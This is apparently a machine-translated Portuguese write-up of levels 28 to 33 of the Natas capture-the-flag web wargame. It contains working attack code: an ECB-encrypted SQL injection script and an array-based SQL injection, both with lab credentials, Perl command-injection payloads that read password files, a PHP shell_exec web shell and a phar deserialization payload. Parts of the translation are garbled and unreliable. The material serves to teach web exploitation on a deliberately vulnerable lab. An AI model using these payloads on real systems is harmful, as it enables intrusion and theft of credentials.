Natas Web. Passagem da plataforma CTF destinada a explorar vulnerabilidades da Web. Parte 5

imagem

Neste artigo, trataremos da operação de algumas identidades da WEB usando o jogo de guerra Natas como exemplo. Cada nível tem acesso à senha do próximo nível. Todas as senhas também são armazenadas nos arquivos / etc / natas_webpass /. Por exemplo, a senha para natas5 é armazenada no arquivo / etc / natas_webpass / natas5 e é somente leitura para usuários natas4 e natas5.

Partes passadas: parte 1 , parte 2 , parte 3 e parte 4 .

Informações Organizacionais
Especialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:

  • PWN;
  • criptografia (criptografia);
  • tecnologias de rede (rede);
  • reverso (engenharia reversa);
  • esteganografia (estegano);
  • pesquisa e exploração de vulnerabilidades na WEB.

Além disso, compartilharei minha experiência em computação forense, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.

Para que você possa descobrir sobre novos artigos, software e outras informações, criei um canal no Telegram e um grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações pessoais e responderei a todos .

Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.

nível 28


Ao enviar qualquer solicitação, vemos um redirecionamento para outra página com uma solicitação estranha e codificação base64, cuja decodificação não dá nada.

imagem

Enviaremos qualquer solicitação para consulta. Recebemos um erro que deixa claro que o redirecionamento usa criptografia e, nesta página, a solicitação é descriptografada antes de ser transferida para o banco de dados. Ou seja, precisamos criptografar nossa injeção e enviá-la ao servidor, mas não sabemos a chave. Mas nós temos um criptografador - este é o servidor.

imagem

Primeiro, vamos lidar com criptografia. Enviaremos duas linhas diferentes "qwerty" e "asdfgh" e analisaremos como elas serão convertidas.

imagem

Em resposta, obtemos linhas idênticas, que em um determinado local têm uma sequência distinta. Como o início e o final de dois PCs (texto cifrado) são os mesmos, podemos tirar as seguintes conclusões:

  • O complemento inicial ao AT é usado (texto simples);
  • há uma adição final ao OT;
  • O modo ECB é usado, pois em OT diferente os últimos blocos do CT são os mesmos, ou seja, os blocos são independentes um do outro.

A idéia é a seguinte: enviamos uma consulta ao banco de dados para criptografia, mas ela será convertida e, portanto, ao descriptografar, a injeção não será aprovada. É necessário lidar com os complementos para calcular com precisão os blocos em que nossa carga útil será criptografada. Depois da criptografia, retiraremos nossos blocos da solicitação e os enviaremos apenas para o servidor. No servidor, eles serão descriptografados e, como não possuem complementos, executados.

A ideia é apresentada em quatro imagens:

  1. Apresentação de 5 blocos.
  2. Um codificador com adições de início e fim que criptografam uma sequência vazia.
  3. Criptografia da string "TEXTTEXTTEXTTEXT".
  4. Nós nos livramos das adições adicionando o número necessário de caracteres antes e depois da nossa linha para colocá-lo em um bloco separado. Retiramos do PC apenas o segundo bloco.

imagem

Dessa forma, recebemos apenas nossa string criptografada em uma chave desconhecida para nós !!!

Dados necessários:

  1. Modo de criptografia (conhecido - BCE)
  2. Comprimento do bloco (conhecido - 16)
  3. Comprimento inicial do complemento (desconhecido)
  4. O tamanho do nosso texto (conhecido - “SELECT password
    Como piada de usuários ")

É necessário descobrir a duração do enchimento inicial. Como os dois primeiros blocos são iguais, enviaremos um número diferente de caracteres e, assim que o terceiro bloco parar de mudar, encontraremos o número de caracteres necessários para complementá-lo. Estes são 10 caracteres. Abaixo está uma implementação do algoritmo acima.

import base64 import requests from urlparse import urlsplit from urllib2 import unquote def ChiperQuery(url, auth, query): resp = requests.post(url, auth=auth, data={'query': query}) query_param = unquote(urlsplit(resp.url)[3][6:]) byte_decode_query = bytearray(base64.b64decode(query_param)) return byte_decode_query def SendPayload(url, auth, payload): enc_payload = base64.b64encode(bytes(payload)) ret = requests.get(url + '/search.php', auth=auth, params={'query': enc_payload}) return ret.text url = "http://natas28.natas.labs.overthewire.org/" auth = requests.auth.HTTPBasicAuth("natas28", "JWwR438wkgTsNKBbcJoowyysdM82YjeF") query = "SELECT password AS joke FROM users" query += " " * (16-len(query)%16) plaintext = 'b'*10 + query + chr(16)*16 chip_query = ChiperQuery(url, auth, plaintext) st_pos = len(query) count = st_pos+16 result = SendPayload(url, auth, chip_query[st_pos:st_pos+count]) print(result) 

imagem

Nós obtemos a senha.

nível 29


É difícil adivinhar que o código perl chama a função de linha de comando e passa o arquivo especificado nos dados (que você pode selecionar) para o comando. O fato é que podemos fechar o pipeline de "exec | read_command_file "em" exec | read_command | our_smd_command ".

imagem

Mas o fato é que nossa equipe será exibida no console, e não no site. Para fazer isso, adicione o seguinte comando para substituir caracteres nos fluxos de entrada / saída: “| tr "antes" depois ".

imagem

Como o comando foi concluído, leremos a senha do arquivo especificado. Mas nos dizem que não podemos fazer isso ...

imagem

Usaremos a filtragem de linha de comando e inseriremos aspas em todos os lugares que serão apagados quando o comando for executado.

imagem

Tiramos a senha.

nível 30


Vamos dar uma olhada no código fonte. O método quote () é usado aqui, que escapa a todos os caracteres especiais em uma string. Mas ele escapa exatamente na string, o que nos dá o direito de operar a injeção, se usarmos, por exemplo, uma matriz (nesse caso, um elemento zero será aceito).

imagem

Vamos criar uma carga para a solicitação

 Select * FROM users where username = 'username' and password = 'password'; 

Como sabemos que o nome de usuário é natas31, introduzimos a condição correta na senha: '' ou 1. Em seguida, nossa solicitação se tornará assim

 Select * FROM users where username = 'natas31' and password = '' or 1; 

E agora resta enviar uma matriz.

 import requests url = "http://natas30.natas.labs.overthewire.org/index.pl" s = requests.Session() s.auth = ('natas30', 'wie9iexae0Daihohv8vuu3cei9wahf0e') args = { "username": "natas31", "password": ["'' or 1", 2] } r = s.post(url, data=args) print(r.text) 

imagem

Tiramos a senha.

nível 31


A essência do serviço fica imediatamente clara: a partir do arquivo csv, obtemos a tabela em html.

imagem

Vamos ver o código fonte.

imagem

E o que é mais interessante: é a linha while (<$ file>), enquanto file é a linha do parâmetro Assim, é possível executar o código.

imagem

Envie qualquer arquivo csv e intercepte a solicitação no Burp Suite.

imagem

Agora vamos adicionar o comando como um parâmetro.
 ?/bin/cat%20/etc/natas_webpass/natas32%20| 


imagem

Para chamar a carga do parâmetro, adicione as seguintes linhas:

 -----------------------------716973545450730846281908502 Content-Disposition: form-data; name="file"; Content-Type: text/csv ARGV 

imagem

imagem

Nós obtemos a senha.

nível 32


Abrimos a página onde nos dizem que precisamos provar a execução do código e executar o arquivo webroot.

imagem

Se você olhar para o código, é exatamente o mesmo que no nível anterior. Em seguida, exploramos a vulnerabilidade da última vez. Vamos encontrar o arquivo webroot. Para fazer isso, consulte o diretório, usando como carga: ls -la |

imagem

Obtenha a lista de arquivos. O Webroot não está lá, mas há uma senha de programa estranha.
Nós realizamos.

imagem

imagem

Nós obtemos a senha para o último nível.

imagem

nível 33


Novamente, o formulário de upload do arquivo.

imagem

Vamos dar uma olhada no código fonte.

imagem

Portanto, devemos fazer upload de um arquivo com tamanho de até 4 MB no servidor e se md5 do conteúdo do arquivo for igual ao valor de referência, ele será executado no interpretador php. Nós olhamos mais longe. Nós podemos controlar o nome do arquivo e seu conteúdo.

imagem

Direi imediatamente que essa é uma vulnerabilidade complexa que conheci há meio ano. O objetivo é que possamos enviar um arquivo de qualquer tipo para o servidor e que quaisquer operações sejam executadas com seu conteúdo. Sobre os arquivos phar está escrito aqui . Em resumo, um arquivo php especial representando dados serializados. Nesse caso, a leitura do fluxo phar levará à execução do código. Assim, você pode serializar o código e enviá-lo ao servidor. Ao calcular o md5, um fluxo será lido - o que levará à execução do código.

Então, primeiro crie um arquivo php que leia a flag.

 <?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?> 

Carregue-o no servidor. Não esqueça de alterar o nome no Burp Suite.

imagem

imagem

Recebemos a resposta do servidor ... Ok. Agora vamos criar um arquivo phar, que, quando executado, alterará os valores que precisamos (o hash sempre estará correto e o nome do arquivo que já foi carregado no servidor). Portanto, passaremos na verificação e o servidor executará o shell.php.

 <?php class Shell { private $filename = "shell.php"; private $signature = True; private $init = false; } $phar = new Phar("shell.phar"); $phar->startBuffering(); $phar->addFromString("123.txt", '123'); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $s = new Shell(); $phar->setMetadata($s); $phar->stopBuffering(); ?> 

Antes de compilar no arquivo /etc/php/xx/php.ini, você precisa alterar o parâmetro phar.readonly para Off.

imagem

Em seguida, execute o php shell.php e obteremos o arquivo .phar. Enviamos para o servidor e alteramos o nome.

imagem

Portanto, temos os dois arquivos: archive e shell. Agora você precisa fazer com que o arquivo seja lido do arquivo, o que levará à execução do código.

imagem

Nós obtemos a senha.

imagem

Aquele era o local da Natas. Você pode se juntar a nós no Telegram .

Source: https://habr.com/ru/post/pt465363/


All Articles